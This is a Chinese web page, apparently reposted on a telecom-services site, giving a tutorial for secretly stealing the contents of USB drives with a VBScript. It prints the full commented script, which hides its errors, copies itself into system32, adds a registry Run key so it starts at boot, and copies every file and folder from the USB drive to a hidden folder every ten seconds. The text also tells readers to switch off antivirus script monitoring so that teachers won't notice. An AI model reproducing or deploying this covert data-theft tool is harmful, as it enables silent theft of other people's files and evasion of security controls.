• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    利用VBS脚本轻松盗U盘数据
    脚本应该具备以下功能: 
    1.开机自启动; 
    2.定时复制U盘所有文件及文件夹到指定位置; 
    3.无任何错误提示(很关键,如果不想找死的话)。 
    思路很简单,接下来就是脚本的具体内容了,我在每行脚本后都加了注释,但愿比我还菜的人也能看懂
    复制代码 代码如下:

    On Error Resume Next ‘忽略异常,否则可能会有错误提示框
    Set fso=CreateObject("Scripting.FileSystemObject") ‘创建fso
    dim n
    Set n=CreateObject("Wscript.Shell") ‘声明变量n
    Set dir = fso.GetSpecialFolder(1) ‘读取system32文件夹路径
    fso.GetFile(WScript.ScriptFullName).Copy(dir"\copy.vbs") ‘读取自身文件名,并复制自己到system32文件夹,重命名为copy.vbs
    dim r
    Set r=CreateObject("Wscript.Shell") ‘声明变量r,用于读写注册表
    r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘为脚本添加启动项
    fso.CreateFolder("c:\windows\explorer") ‘创建文件夹,用来存放U盘文件
    for i = 1 to 2
    i = 1 ‘看出来了么,这是个死循环,变量i不可能到2,所以可以不断检查U盘并复制内容
    fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘复制I盘(U盘盘符)所有文件到指定文件夹
    fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘复制I盘所有文件夹到指定文件夹
    wscript.sleep 10000 ‘挂起10秒,此属性单位为毫秒
    next
    把上述内容存为kubau0.vbs,才几百字节。
    提示一点,因为脚本内容有对注册表和文件的操作,所以执行时要把杀毒软件的网页或脚本之类的监控关掉,否则会不客气的弹出个对话框问你是否执行,如果引起老师怀疑的话……那你就节哀吧。
    现在,只要在目标机上执行一次脚本(什么?没反应?当然不会有了!看看进程列表,如果有一个wscript.exe就说明已经执行成功了),脚本执行会停留在死循环里,每隔10秒复制一次文件到C:\windows\explorer\文件夹(间隔时间和目标文件夹均可自行设置),重启后会自动执行,且不会有任何异常提示,毕竟安全才是最重要的嘛!这也是VBS的特点,一切悄无声息。
    不过脚本也不是没有缺点,那就是在复制文件的时候U盘灯会狂闪不止,且机器运行速度会明显变慢,且无法通过安全删除硬件来停止U盘,不过好在老师们多是才鸟(才鸟?什么东西?有才的菜鸟?),但是如果哪位高手能帮我解决,还请不吝赐教!
    另外,别以为复制完就万事大吉了,最好定期删除没用的文件,否则目标文件夹会急剧膨胀,比如我们班,一星期下来就超了1G,很恐怖!
    上一篇:利用VBS脚本自动创建计算机帐户的代码
    下一篇:按键精灵 脚本-学习VBS的一个不错的教程
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    利用VBS脚本轻松盗U盘数据 利用,VBS,脚本,轻松,盗,盘,